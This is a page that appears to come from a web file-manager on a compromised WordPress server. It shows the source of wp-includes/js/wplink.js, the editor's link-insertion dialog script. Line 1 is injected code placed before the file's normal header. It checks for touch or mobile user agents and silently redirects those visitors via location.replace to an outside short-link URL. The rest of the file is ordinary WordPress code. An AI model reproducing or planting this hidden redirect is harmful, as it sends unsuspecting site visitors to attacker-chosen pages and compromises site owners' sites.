at path:ROOT / wp-includes / js / wplink.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄wplink.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wplink.js
4 */
5
6 /* global wpLink */
7
8( function( $, wpLinkL10n, wp ) {
9 var editor, searchTimer, River, Query, correctedURL,
10 emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,
11 urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,
12 inputs = {},
13 rivers = {},
14 isTouch = ( 'ontouchend' in document );
15
16 function getLink() {
17 if ( editor ) {
18 return editor.$( 'a[data-wplink-edit="true"]' );
19 }
20
21 return null;
22 }
23
24 window.wpLink = {
25 timeToTriggerRiver: 150,
26 minRiverAJAXDuration: 200,
27 riverBottomThreshold: 5,
28 keySensitivity: 100,
29 lastSearch: '',
30 textarea: '',
31 modalOpen: false,
32
33 init: function() {
34 inputs.wrap = $('#wp-link-wrap');
35 inputs.dialog = $( '#wp-link' );
36 inputs.backdrop = $( '#wp-link-backdrop' );
37 inputs.submit = $( '#wp-link-submit' );
38 inputs.close = $( '#wp-link-close' );
39
40 // Input.
41 inputs.text = $( '#wp-link-text' );
42 inputs.url = $( '#wp-link-url' );
43 inputs.nonce = $( '#_ajax_linking_nonce' );
44 inputs.openInNewTab = $( '#wp-link-target' );
45 inputs.search = $( '#wp-link-search' );
46
47 // Build rivers.
48 rivers.search = new River( $( '#search-results' ) );
49 rivers.recent = new River( $( '#most-recent-results' ) );
50 rivers.elements = inputs.dialog.find( '.query-results' );
51
52 // Get search notice text.
53 inputs.queryNotice = $( '#query-notice-message' );
54 inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
55 inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );
56
57 // Bind event handlers.
58 inputs.dialog.on( 'keydown', wpLink.keydown );
59 inputs.dialog.on( 'keyup', wpLink.keyup );
60 inputs.submit.on( 'click', function( event ) {
61 event.preventDefault();
62 wpLink.update();
63 });
64
65 inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).on( 'click', function( event ) {
66 event.preventDefault();
67 wpLink.close();
68 });
69
70 rivers.elements.on( 'river-select', wpLink.updateFields );
71
72 // Display 'hint' message when search field or 'query-results' box are focused.
73 inputs.search.on( 'focus.wplink', function() {
74 inputs.queryNoticeTextDefault.hide();
75 inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
76 } ).on( 'blur.wplink', function() {
77 inputs.queryNoticeTextDefault.show();
78 inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
79 } );
80
81 inputs.search.on( 'keyup input', function() {
82 window.clearTimeout( searchTimer );
83 searchTimer = window.setTimeout( function() {
84 wpLink.searchInternalLinks();
85 }, 500 );
86 });
87
88 inputs.url.on( 'paste', function() {
89 setTimeout( wpLink.correctURL, 0 );
90 } );
91
92 inputs.url.on( 'blur', wpLink.correctURL );
93 },
94
95 // If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://.
96 correctURL: function () {
97 var url = inputs.url.val().trim();
98
99 if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) {
100 inputs.url.val( 'http://' + url );
101 correctedURL = url;
102 }
103 },
104
105 open: function( editorId, url, text ) {
106 var ed,
107 $body = $( document.body );
108
109 $( '#wpwrap' ).attr( 'aria-hidden', 'true' );
110 $body.addClass( 'modal-open' );
111 wpLink.modalOpen = true;
112
113 wpLink.range = null;
114
115 if ( editorId ) {
116 window.wpActiveEditor = editorId;
117 }
118
119 if ( ! window.wpActiveEditor ) {
120 return;
121 }
122
123 this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );
124
125 if ( typeof window.tinymce !== 'undefined' ) {
126 // Make sure the link wrapper is the last element in the body,
127 // or the inline editor toolbar may show above the backdrop.
128 $body.append( inputs.backdrop, inputs.wrap );
129
130 ed = window.tinymce.get( window.wpActiveEditor );
131
132 if ( ed && ! ed.isHidden() ) {
133 editor = ed;
134 } else {
135 editor = null;
136 }
137 }
138
139 if ( ! wpLink.isMCE() && document.selection ) {
140 this.textarea.focus();
141 this.range = document.selection.createRange();
142 }
143
144 inputs.wrap.show();
145 inputs.backdrop.show();
146
147 wpLink.refresh( url, text );
148
149 $( document ).trigger( 'wplink-open', inputs.wrap );
150 },
151
152 isMCE: function() {
153 return editor && ! editor.isHidden();
154 },
155
156 refresh: function( url, text ) {
157 var linkText = '';
158
159 // Refresh rivers (clear links, check visibility).
160 rivers.search.refresh();
161 rivers.recent.refresh();
162
163 if ( wpLink.isMCE() ) {
164 wpLink.mceRefresh( url, text );
165 } else {
166 // For the Code editor the "Link text" field is always shown.
167 if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) {
168 inputs.wrap.addClass( 'has-text-field' );
169 }
170
171 if ( document.selection ) {
172 // Old IE.
173 linkText = document.selection.createRange().text || text || '';
174 } else if ( typeof this.textarea.selectionStart !== 'undefined' &&
175 ( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) {
176 // W3C.
177 text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || '';
178 }
179
180 inputs.text.val( text );
181 wpLink.setDefaultValues();
182 }
183
184 if ( isTouch ) {
185 // Close the onscreen keyboard.
186 inputs.url.trigger( 'focus' ).trigger( 'blur' );
187 } else {
188 /*
189 * Focus the URL field and highlight its contents.
190 * If this is moved above the selection changes,
191 * IE will show a flashing cursor over the dialog.
192 */
193 window.setTimeout( function() {
194 inputs.url[0].select();
195 inputs.url.trigger( 'focus' );
196 } );
197 }
198
199 // Load the most recent results if this is the first time opening the panel.
200 if ( ! rivers.recent.ul.children().length ) {
201 rivers.recent.ajax();
202 }
203
204 correctedURL = inputs.url.val().replace( /^http:\/\//, '' );
205 },
206
207 hasSelectedText: function( linkNode ) {
208 var node, nodes, i, html = editor.selection.getContent();
209
210 // Partial html and not a fully selected anchor element.
211 if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) {
212 return false;
213 }
214
215 if ( linkNode.length ) {
216 nodes = linkNode[0].childNodes;
217
218 if ( ! nodes || ! nodes.length ) {
219 return false;
220 }
221
222 for ( i = nodes.length - 1; i >= 0; i-- ) {
223 node = nodes[i];
224
225 if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) {
226 return false;
227 }
228 }
229 }
230
231 return true;
232 },
233
234 mceRefresh: function( searchStr, text ) {
235 var linkText, href,
236 linkNode = getLink(),
237 onlyText = this.hasSelectedText( linkNode );
238
239 if ( linkNode.length ) {
240 linkText = linkNode.text();
241 href = linkNode.attr( 'href' );
242
243 if ( ! linkText.trim() ) {
244 linkText = text || '';
245 }
246
247 if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) {
248 href = searchStr;
249 }
250
251 if ( href !== '_wp_link_placeholder' ) {
252 inputs.url.val( href );
253 inputs.openInNewTab.prop( 'checked', '_blank' === linkNode.attr( 'target' ) );
254 inputs.submit.val( wpLinkL10n.update );
255 } else {
256 this.setDefaultValues( linkText );
257 }
258
259 if ( searchStr && searchStr !== href ) {
260 // The user has typed something in the inline dialog. Trigger a search with it.
261 inputs.search.val( searchStr );
262 } else {
263 inputs.search.val( '' );
264 }
265
266 // Always reset the search.
267 window.setTimeout( function() {
268 wpLink.searchInternalLinks();
269 } );
270 } else {
271 linkText = editor.selection.getContent({ format: 'text' }) || text || '';
272 this.setDefaultValues( linkText );
273 }
274
275 if ( onlyText ) {
276 inputs.text.val( linkText );
277 inputs.wrap.addClass( 'has-text-field' );
278 } else {
279 inputs.text.val( '' );
280 inputs.wrap.removeClass( 'has-text-field' );
281 }
282 },
283
284 close: function( reset ) {
285 $( document.body ).removeClass( 'modal-open' );
286 $( '#wpwrap' ).removeAttr( 'aria-hidden' );
287 wpLink.modalOpen = false;
288
289 if ( reset !== 'noReset' ) {
290 if ( ! wpLink.isMCE() ) {
291 wpLink.textarea.focus();
292
293 if ( wpLink.range ) {
294 wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
295 wpLink.range.select();
296 }
297 } else {
298 if ( editor.plugins.wplink ) {
299 editor.plugins.wplink.close();
300 }
301
302 editor.focus();
303 }
304 }
305
306 inputs.backdrop.hide();
307 inputs.wrap.hide();
308
309 correctedURL = false;
310
311 $( document ).trigger( 'wplink-close', inputs.wrap );
312 },
313
314 getAttrs: function() {
315 wpLink.correctURL();
316
317 return {
318 href: inputs.url.val().trim(),
319 target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null
320 };
321 },
322
323 buildHtml: function(attrs) {
324 var html = '<a href="' + attrs.href + '"';
325
326 if ( attrs.target ) {
327 html += ' target="' + attrs.target + '"';
328 }
329
330 return html + '>';
331 },
332
333 update: function() {
334 if ( wpLink.isMCE() ) {
335 wpLink.mceUpdate();
336 } else {
337 wpLink.htmlUpdate();
338 }
339 },
340
341 htmlUpdate: function() {
342 var attrs, text, html, begin, end, cursor, selection,
343 textarea = wpLink.textarea;
344
345 if ( ! textarea ) {
346 return;
347 }
348
349 attrs = wpLink.getAttrs();
350 text = inputs.text.val();
351
352 var parser = document.createElement( 'a' );
353 parser.href = attrs.href;
354
355 if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
356 attrs.href = '';
357 }
358
359 // If there's no href, return.
360 if ( ! attrs.href ) {
361 return;
362 }
363
364 html = wpLink.buildHtml(attrs);
365
366 // Insert HTML.
367 if ( document.selection && wpLink.range ) {
368 // IE.
369 // Note: If no text is selected, IE will not place the cursor
370 // inside the closing tag.
371 textarea.focus();
372 wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>';
373 wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
374 wpLink.range.select();
375
376 wpLink.range = null;
377 } else if ( typeof textarea.selectionStart !== 'undefined' ) {
378 // W3C.
379 begin = textarea.selectionStart;
380 end = textarea.selectionEnd;
381 selection = text || textarea.value.substring( begin, end );
382 html = html + selection + '</a>';
383 cursor = begin + html.length;
384
385 // If no text is selected, place the cursor inside the closing tag.
386 if ( begin === end && ! selection ) {
387 cursor -= 4;
388 }
389
390 textarea.value = (
391 textarea.value.substring( 0, begin ) +
392 html +
393 textarea.value.substring( end, textarea.value.length )
394 );
395
396 // Update cursor position.
397 textarea.selectionStart = textarea.selectionEnd = cursor;
398 }
399
400 wpLink.close();
401 textarea.focus();
402 $( textarea ).trigger( 'change' );
403
404 // Audible confirmation message when a link has been inserted in the Editor.
405 wp.a11y.speak( wpLinkL10n.linkInserted );
406 },
407
408 mceUpdate: function() {
409 var attrs = wpLink.getAttrs(),
410 $link, text, hasText;
411
412 var parser = document.createElement( 'a' );
413 parser.href = attrs.href;
414
415 if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
416 attrs.href = '';
417 }
418
419 if ( ! attrs.href ) {
420 editor.execCommand( 'unlink' );
421 wpLink.close();
422 return;
423 }
424
425 $link = getLink();
426
427 editor.undoManager.transact( function() {
428 if ( ! $link.length ) {
429 editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } );
430 $link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' );
431 hasText = $link.text().trim();
432 }
433
434 if ( ! $link.length ) {
435 editor.execCommand( 'unlink' );
436 } else {
437 if ( inputs.wrap.hasClass( 'has-text-field' ) ) {
438 text = inputs.text.val();
439
440 if ( text ) {
441 $link.text( text );
442 } else if ( ! hasText ) {
443 $link.text( attrs.href );
444 }
445 }
446
447 attrs['data-wplink-edit'] = null;
448 attrs['data-mce-href'] = attrs.href;
449 $link.attr( attrs );
450 }
451 } );
452
453 wpLink.close( 'noReset' );
454 editor.focus();
455
456 if ( $link.length ) {
457 editor.selection.select( $link[0] );
458
459 if ( editor.plugins.wplink ) {
460 editor.plugins.wplink.checkLink( $link[0] );
461 }
462 }
463
464 editor.nodeChanged();
465
466 // Audible confirmation message when a link has been inserted in the Editor.
467 wp.a11y.speak( wpLinkL10n.linkInserted );
468 },
469
470 updateFields: function( e, li ) {
471 inputs.url.val( li.children( '.item-permalink' ).val() );
472
473 if ( inputs.wrap.hasClass( 'has-text-field' ) && ! inputs.text.val() ) {
474 inputs.text.val( li.children( '.item-title' ).text() );
475 }
476 },
477
478 getUrlFromSelection: function( selection ) {
479 if ( ! selection ) {
480 if ( this.isMCE() ) {
481 selection = editor.selection.getContent({ format: 'text' });
482 } else if ( document.selection && wpLink.range ) {
483 selection = wpLink.range.text;
484 } else if ( typeof this.textarea.selectionStart !== 'undefined' ) {
485 selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd );
486 }
487 }
488
489 selection = selection || '';
490 selection = selection.trim();
491
492 if ( selection && emailRegexp.test( selection ) ) {
493 // Selection is email address.
494 return 'mailto:' + selection;
495 } else if ( selection && urlRegexp.test( selection ) ) {
496 // Selection is URL.
497 return selection.replace( /&amp;|&#0?38;/gi, '&' );
498 }
499
500 return '';
501 },
502
503 setDefaultValues: function( selection ) {
504 inputs.url.val( this.getUrlFromSelection( selection ) );
505
506 // Empty the search field and swap the "rivers".
507 inputs.search.val('');
508 wpLink.searchInternalLinks();
509
510 // Update save prompt.
511 inputs.submit.val( wpLinkL10n.save );
512 },
513
514 searchInternalLinks: function() {
515 var waiting,
516 search = inputs.search.val() || '',
517 minInputLength = parseInt( wpLinkL10n.minInputLength, 10 ) || 3;
518
519 if ( search.length >= minInputLength ) {
520 rivers.recent.hide();
521 rivers.search.show();
522
523 // Don't search if the keypress didn't change the title.
524 if ( wpLink.lastSearch == search )
525 return;
526
527 wpLink.lastSearch = search;
528 waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' );
529
530 rivers.search.change( search );
531 rivers.search.ajax( function() {
532 waiting.removeClass( 'is-active' );
533 });
534 } else {
535 rivers.search.hide();
536 rivers.recent.show();
537 }
538 },
539
540 next: function() {
541 rivers.search.next();
542 rivers.recent.next();
543 },
544
545 prev: function() {
546 rivers.search.prev();
547 rivers.recent.prev();
548 },
549
550 keydown: function( event ) {
551 var fn, id;
552
553 // Escape key.
554 if ( 27 === event.keyCode ) {
555 wpLink.close();
556 event.stopImmediatePropagation();
557 // Tab key.
558 } else if ( 9 === event.keyCode ) {
559 id = event.target.id;
560
561 // wp-link-submit must always be the last focusable element in the dialog.
562 // Following focusable elements will be skipped on keyboard navigation.
563 if ( id === 'wp-link-submit' && ! event.shiftKey ) {
564 inputs.close.trigger( 'focus' );
565 event.preventDefault();
566 } else if ( id === 'wp-link-close' && event.shiftKey ) {
567 inputs.submit.trigger( 'focus' );
568 event.preventDefault();
569 }
570 }
571
572 // Up Arrow and Down Arrow keys.
573 if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) {
574 return;
575 }
576
577 if ( document.activeElement &&
578 ( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
579 return;
580 }
581
582 // Up Arrow key.
583 fn = 38 === event.keyCode ? 'prev' : 'next';
584 clearInterval( wpLink.keyInterval );
585 wpLink[ fn ]();
586 wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
587 event.preventDefault();
588 },
589
590 keyup: function( event ) {
591 // Up Arrow and Down Arrow keys.
592 if ( 38 === event.keyCode || 40 === event.keyCode ) {
593 clearInterval( wpLink.keyInterval );
594 event.preventDefault();
595 }
596 },
597
598 delayedCallback: function( func, delay ) {
599 var timeoutTriggered, funcTriggered, funcArgs, funcContext;
600
601 if ( ! delay )
602 return func;
603
604 setTimeout( function() {
605 if ( funcTriggered )
606 return func.apply( funcContext, funcArgs );
607 // Otherwise, wait.
608 timeoutTriggered = true;
609 }, delay );
610
611 return function() {
612 if ( timeoutTriggered )
613 return func.apply( this, arguments );
614 // Otherwise, wait.
615 funcArgs = arguments;
616 funcContext = this;
617 funcTriggered = true;
618 };
619 }
620 };
621
622 River = function( element, search ) {
623 var self = this;
624 this.element = element;
625 this.ul = element.children( 'ul' );
626 this.contentHeight = element.children( '#link-selector-height' );
627 this.waiting = element.find('.river-waiting');
628
629 this.change( search );
630 this.refresh();
631
632 $( '#wp-link .query-results, #wp-link #link-selector' ).on( 'scroll', function() {
633 self.maybeLoad();
634 });
635 element.on( 'click', 'li', function( event ) {
636 self.select( $( this ), event );
637 });
638 };
639
640 $.extend( River.prototype, {
641 refresh: function() {
642 this.deselect();
643 this.visible = this.element.is( ':visible' );
644 },
645 show: function() {
646 if ( ! this.visible ) {
647 this.deselect();
648 this.element.show();
649 this.visible = true;
650 }
651 },
652 hide: function() {
653 this.element.hide();
654 this.visible = false;
655 },
656 // Selects a list item and triggers the river-select event.
657 select: function( li, event ) {
658 var liHeight, elHeight, liTop, elTop;
659
660 if ( li.hasClass( 'unselectable' ) || li == this.selected )
661 return;
662
663 this.deselect();
664 this.selected = li.addClass( 'selected' );
665 // Make sure the element is visible.
666 liHeight = li.outerHeight();
667 elHeight = this.element.height();
668 liTop = li.position().top;
669 elTop = this.element.scrollTop();
670
671 if ( liTop < 0 ) // Make first visible element.
672 this.element.scrollTop( elTop + liTop );
673 else if ( liTop + liHeight > elHeight ) // Make last visible element.
674 this.element.scrollTop( elTop + liTop - elHeight + liHeight );
675
676 // Trigger the river-select event.
677 this.element.trigger( 'river-select', [ li, event, this ] );
678 },
679 deselect: function() {
680 if ( this.selected )
681 this.selected.removeClass( 'selected' );
682 this.selected = false;
683 },
684 prev: function() {
685 if ( ! this.visible )
686 return;
687
688 var to;
689 if ( this.selected ) {
690 to = this.selected.prev( 'li' );
691 if ( to.length )
692 this.select( to );
693 }
694 },
695 next: function() {
696 if ( ! this.visible )
697 return;
698
699 var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
700 if ( to.length )
701 this.select( to );
702 },
703 ajax: function( callback ) {
704 var self = this,
705 delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
706 response = wpLink.delayedCallback( function( results, params ) {
707 self.process( results, params );
708 if ( callback )
709 callback( results, params );
710 }, delay );
711
712 this.query.ajax( response );
713 },
714 change: function( search ) {
715 if ( this.query && this._search == search )
716 return;
717
718 this._search = search;
719 this.query = new Query( search );
720 this.element.scrollTop( 0 );
721 },
722 process: function( results, params ) {
723 var list = '', alt = true, classes = '',
724 firstPage = params.page == 1;
725
726 if ( ! results ) {
727 if ( firstPage ) {
728 list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
729 wpLinkL10n.noMatchesFound + '</em></span></li>';
730 }
731 } else {
732 $.each( results, function() {
733 classes = alt ? 'alternate' : '';
734 classes += this.title ? '' : ' no-title';
735 list += classes ? '<li class="' + classes + '">' : '<li>';
736 list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
737 list += '<span class="item-title">';
738 list += this.title ? this.title : wpLinkL10n.noTitle;
739 list += '</span><span class="item-info">' + this.info + '</span></li>';
740 alt = ! alt;
741 });
742 }
743
744 this.ul[ firstPage ? 'html' : 'append' ]( list );
745 },
746 maybeLoad: function() {
747 var self = this,
748 el = this.element,
749 bottom = el.scrollTop() + el.height();
750
751 if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
752 return;
753
754 setTimeout(function() {
755 var newTop = el.scrollTop(),
756 newBottom = newTop + el.height();
757
758 if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
759 return;
760
761 self.waiting.addClass( 'is-active' );
762 el.scrollTop( newTop + self.waiting.outerHeight() );
763
764 self.ajax( function() {
765 self.waiting.removeClass( 'is-active' );
766 });
767 }, wpLink.timeToTriggerRiver );
768 }
769 });
770
771 Query = function( search ) {
772 this.page = 1;
773 this.allLoaded = false;
774 this.querying = false;
775 this.search = search;
776 };
777
778 $.extend( Query.prototype, {
779 ready: function() {
780 return ! ( this.querying || this.allLoaded );
781 },
782 ajax: function( callback ) {
783 var self = this,
784 query = {
785 action : 'wp-link-ajax',
786 page : this.page,
787 '_ajax_linking_nonce' : inputs.nonce.val()
788 };
789
790 if ( this.search )
791 query.search = this.search;
792
793 this.querying = true;
794
795 $.post( window.ajaxurl, query, function( r ) {
796 self.page++;
797 self.querying = false;
798 self.allLoaded = ! r;
799 callback( r, query );
800 }, 'json' );
801 }
802 });
803
804 $( wpLink.init );
805})( jQuery, window.wpLinkL10n, window.wp );
806